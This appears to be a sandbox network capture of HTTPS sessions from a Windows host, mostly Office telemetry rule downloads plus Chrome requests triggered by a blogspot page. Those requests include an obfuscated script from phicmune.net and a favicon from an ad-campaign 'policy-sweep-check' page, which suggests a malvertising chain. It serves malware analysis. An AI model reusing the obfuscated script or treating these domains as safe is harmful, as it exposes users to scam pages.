2024-10-14 22:39:55 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:55 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9dc98f41-601e-0097-4647-1cf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223955Z-17db6f7c8cfjxfnba42c5rukwg000000041g0000000067yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:55 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:55 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 1507c9f1-d01e-007a-72eb-1af38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223955Z-17db6f7c8cfqxt4wrzg7st2fm8000000077g000000001dy6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:55 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49891	185.199.111.133	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	578	OUT	GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1 Host: raw.githubusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:56 UTC	891	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3350 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "59eaf88cb2cc8ab6a41089faa3b6d9a456ee3bdf4c12586c59286abb51497f42" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 7636:144002:27FF89:2B8F54:670D9DBA Accept-Ranges: bytes Date: Mon, 14 Oct 2024 22:39:55 GMT Via: 1.1 varnish X-Served-By: cache-lga21987-LGA X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1728945596.982491,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: b52d2847b63e9e311d5fd211a0757c74f7680bb0 Expires: Mon, 14 Oct 2024 22:44:55 GMT Source-Age: 1
2024-10-14 22:39:56 UTC	1378	IN	Data Raw: 2f 2a 6a 73 68 69 6e 74 20 62 72 6f 77 73 65 72 3a 74 72 75 65 20 2a 2f 0a 2f 2a 21 0a 2a 20 46 69 74 56 69 64 73 20 31 2e 31 0a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2c 20 43 68 72 69 73 20 43 6f 79 69 65 72 20 2d 20 68 74 74 70 3a 2f 2f 63 73 73 2d 74 72 69 63 6b 73 2e 63 6f 6d 20 2b 20 44 61 76 65 20 52 75 70 65 72 74 20 2d 20 68 74 74 70 3a 2f 2f 64 61 76 65 72 75 70 65 72 74 2e 63 6f 6d 0a 2a 20 43 72 65 64 69 74 20 74 6f 20 54 68 69 65 72 72 79 20 4b 6f 62 6c 65 6e 74 7a 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6c 69 73 74 61 70 61 72 74 2e 63 6f 6d 2f 61 72 74 69 63 6c 65 73 2f 63 72 65 61 74 69 6e 67 2d 69 6e 74 72 69 6e 73 69 63 2d 72 61 74 69 6f 73 2d 66 6f 72 2d 76 69 64 65 6f 2f 0a 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 Data Ascii: /jshint browser:true //! FitVids 1.1** Copyright 2013, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/* Released und
2024-10-14 22:39:56 UTC	1378	IN	Data Raw: 73 74 61 72 74 65 72 2e 63 6f 6d 22 5d 5b 73 72 63 2a 3d 22 76 69 64 65 6f 2e 68 74 6d 6c 22 5d 27 2c 0a 20 20 20 20 20 20 20 20 27 6f 62 6a 65 63 74 27 2c 0a 20 20 20 20 20 20 20 20 27 65 6d 62 65 64 27 0a 20 20 20 20 20 20 5d 3b 0a 0a 20 20 20 20 20 20 69 66 20 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 20 7b 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 6f 72 73 2e 70 75 73 68 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 76 61 72 20 69 67 6e 6f 72 65 4c 69 73 74 20 3d 20 27 2e 66 69 74 76 69 64 73 69 67 6e 6f 72 65 27 3b 0a 0a 20 20 20 20 20 20 69 66 28 73 65 74 74 69 6e 67 73 2e 69 67 6e 6f 72 65 29 20 7b 0a 20 20 20 20 20 20 20 20 69 67 6e Data Ascii: starter.com"][src*="video.html"]', 'object', 'embed' ]; if (settings.customSelector) { selectors.push(settings.customSelector); } var ignoreList = '.fitvidsignore'; if(settings.ignore) { ign
2024-10-14 22:39:56 UTC	594	IN	Data Raw: 20 20 20 20 20 20 20 61 73 70 65 63 74 52 61 74 69 6f 20 3d 20 68 65 69 67 68 74 20 2f 20 77 69 64 74 68 3b 0a 20 20 20 20 20 20 20 20 69 66 28 21 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 29 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 76 69 64 65 6f 4e 61 6d 65 20 3d 20 27 66 69 74 76 69 64 27 20 2b 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 2c 20 76 69 64 65 6f 4e 61 6d 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 2b 2b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 77 72 61 70 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 75 69 64 2d 77 69 64 74 68 Data Ascii: aspectRatio = height / width; if(!$this.attr('name')){ var videoName = 'fitvid' + $.fn.fitVids._count; $this.attr('name', videoName); $.fn.fitVids._count++; } $this.wrap('<div class="fluid-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49892	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	842	OUT	GET /favicon.ico HTTP/1.1 Host: phaivusaido.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://phaivusaido.com/policy-sweep-check.htm?offer_id=99275599&geo=US&oaid=0080f52b8e41436deb287525cd342cae&s=869823461617578654&z=8079706&b=21546778&var=&campaignid=14083&utm_campaign=&utm_medium=8079706&utm_source=zd_14083&utm_term=21546778&utm_content=zd_public_v2&country=US Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:56 UTC	778	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:56 GMT Content-Type: image/x-icon Content-Length: 1150 Connection: close Last-Modified: Thu, 26 Sep 2024 13:43:49 GMT Vary: Accept-Encoding ETag: "66f56515-47e" Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Cache-Control: max-age=1800 CF-Cache-Status: HIT Age: 6707 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pKI7FWq2JyqAP%2Bg1Vz3XFOU%2BBYVLVI0xzBoiBBm62PoC5QVNPftL5cDS5DpZRZX2C8PVfU90iU0Pl4QCIoA1RTr56InO3uhZ0wlt7bsqD%2FV1UFvoQJhaonIe5wXpEFM%2Fe5c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b11775eff4207-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:56 UTC	591	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 09 09 48 63 63 63 f5 8d 8d 8d ff 8b 8b 8b ff 8b 8b 8b ff 8b 8b 8b ff 8c 8c 8c ff 90 90 90 fe 8c 8c 8c ff 91 91 91 ff 61 61 61 e9 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 03 03 03 1f 39 39 39 b6 79 79 79 ff 93 93 93 fe 92 92 92 fe 92 92 92 fe 92 92 92 fe 96 96 96 fa bb bb bb d3 96 96 96 fa 8e 8e 8e fc 81 81 81 ef 0c 0c 0c 39 00 00 00 00 00 00 00 00 00 00 00 09 10 10 10 7f 67 67 67 fc 96 96 96 ff 92 92 92 ff 91 91 91 ff 91 91 91 ff 91 91 91 ff 92 92 92 fe 95 95 95 f8 9e 9e 9e fd 94 94 94 fd 5c 5c 5c f0 15 15 15 39 00 00 00 00 00 Data Ascii: h( Hcccaaa.999yyy9ggg\\\9
2024-10-14 22:39:56 UTC	559	IN	Data Raw: b6 b6 ff 7e 7e 7e ff a2 a2 a2 ff 65 65 65 ff 66 66 66 ff 64 64 64 ff a2 a2 a2 ff b8 b8 b8 ff 60 60 60 ff 60 60 60 f1 14 14 14 39 00 00 00 00 00 00 00 00 03 03 03 39 a7 a7 a7 f3 bb bb bb ff 7a 7a 7a ff a0 a0 a0 ff e4 e4 e4 ff d1 d1 d1 ff d1 d1 d1 ff d1 d1 d1 ff e6 e6 e6 ff b9 b9 b9 ff 60 60 60 ff 62 62 62 ef 16 16 16 36 00 00 00 00 00 00 00 00 03 03 03 39 a6 a6 a6 f3 a3 a3 a3 ff 6d 6d 6d ff 7c 7c 7c ff c9 c9 c9 ff a4 a4 a4 ff a4 a4 a4 ff a3 a3 a3 ff ca ca ca ff b9 b9 b9 ff 60 60 60 ff 7b 7b 7b d3 30 30 30 20 00 00 00 00 00 00 00 00 03 03 03 39 a6 a6 a6 f3 92 92 92 ff 53 53 53 ff 42 42 42 ff 9b 9b 9b ff 72 72 72 ff 72 72 72 ff 70 70 70 ff a8 a8 a8 ff b8 b8 b8 ff 60 60 60 ff 63 63 63 ee 17 17 17 36 00 00 00 00 00 00 00 00 04 04 04 36 aa aa aa f1 c0 c0 c0 ff Data Ascii: ~~~eeefffddd``````99zzz```bbb69mmm\|\|\|```{{{000 9SSSBBBrrrrrrppp```ccc66

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49890	139.45.197.251	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:56 UTC	535	OUT	GET /ntfc.php?p=8165884 HTTP/1.1 Host: phicmune.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:56 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:56 GMT Content-Type: application/javascript Content-Length: 13674 Last-Modified: Wed, 09 Oct 2024 15:52:10 GMT Connection: close ETag: "6706a6aa-356a" Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache Accept-Ranges: bytes
2024-10-14 22:39:56 UTC	13674	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 78 29 7b 28 28 29 3d 3e 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 5f 5f 77 65 62 70 61 63 6b 5f 6d 6f 64 75 6c 65 73 5f 5f 3d 78 2e 67 28 78 2e 78 2c 28 65 2c 74 29 3d 3e 7b 4f 62 6a 65 63 74 5b 78 2e 6d 5d 28 74 2c 78 2e 52 2c 78 2e 67 28 78 2e 4c 72 2c 21 78 2e 43 29 29 2c 74 5b 78 2e 6f 5d 3d 74 5b 78 2e 54 5d 3d 76 6f 69 64 20 78 2e 43 3b 63 6f 6e 73 74 20 6e 3d 78 2e 76 2c 72 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 63 6f 6e 73 74 20 74 3d 77 69 6e 64 6f 77 5b 78 2e 58 6a 5d 5b 78 2e 42 6a 5d 5b 78 2e 50 72 5d 5b 78 2e 77 4b 5d 7c 7c 6e 3b 5b 77 69 6e 64 6f 77 5b 74 5d 7c 7c 5b 5d 2c 72 5d 5b 78 2e 6d 72 5d 28 74 3d 3e 7b 63 6f 6e 73 74 20 6e 3d 74 5b 78 2e 70 6b 5d 28 65 29 3b 6e 3e 2d 78 2e 70 Data Ascii: (function(x){(()=>{'use strict';var __webpack_modules__=x.g(x.x,(e,t)=>{Object[x.m](t,x.R,x.g(x.Lr,!x.C)),t[x.o]=t[x.T]=void x.C;const n=x.v,r=[];function a(e){const t=window[x.Xj][x.Bj][x.Pr][x.wK]\|\|n;[window[t]\|\|[],r][x.mr](t=>{const n=t[x.pk](e);n>-x.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49893	216.58.206.33	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:56 UTC	556	OUT	HEAD /2024/10/365.html HTTP/1.1 Host: sqsq2938.blogspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://sqsq2938.blogspot.com/2024/10/365.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:56 UTC	467	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Oct 2024 22:39:56 GMT Date: Mon, 14 Oct 2024 22:39:56 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:16 GMT ETag: W/"004e5487ca4f96c022e25c6610be775deffa4be78484c46a9dd79cd7ff82bc4a" X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 0 Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:56 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 0a475807-001e-00a2-0116-1cd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223956Z-17db6f7c8cfpm9w8b1ybgtytds00000004wg00000000haas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:56 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:56 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f4abfb5c-001e-00a2-33e5-1ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223956Z-17db6f7c8cf4g2pjavqhm24vp4000000074g00000000ptqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:56 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:56 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:56 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 574f47a0-001e-0028-2c81-1bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223956Z-17db6f7c8cfhrxld7punfw920n00000005q000000000kfa3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:56 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
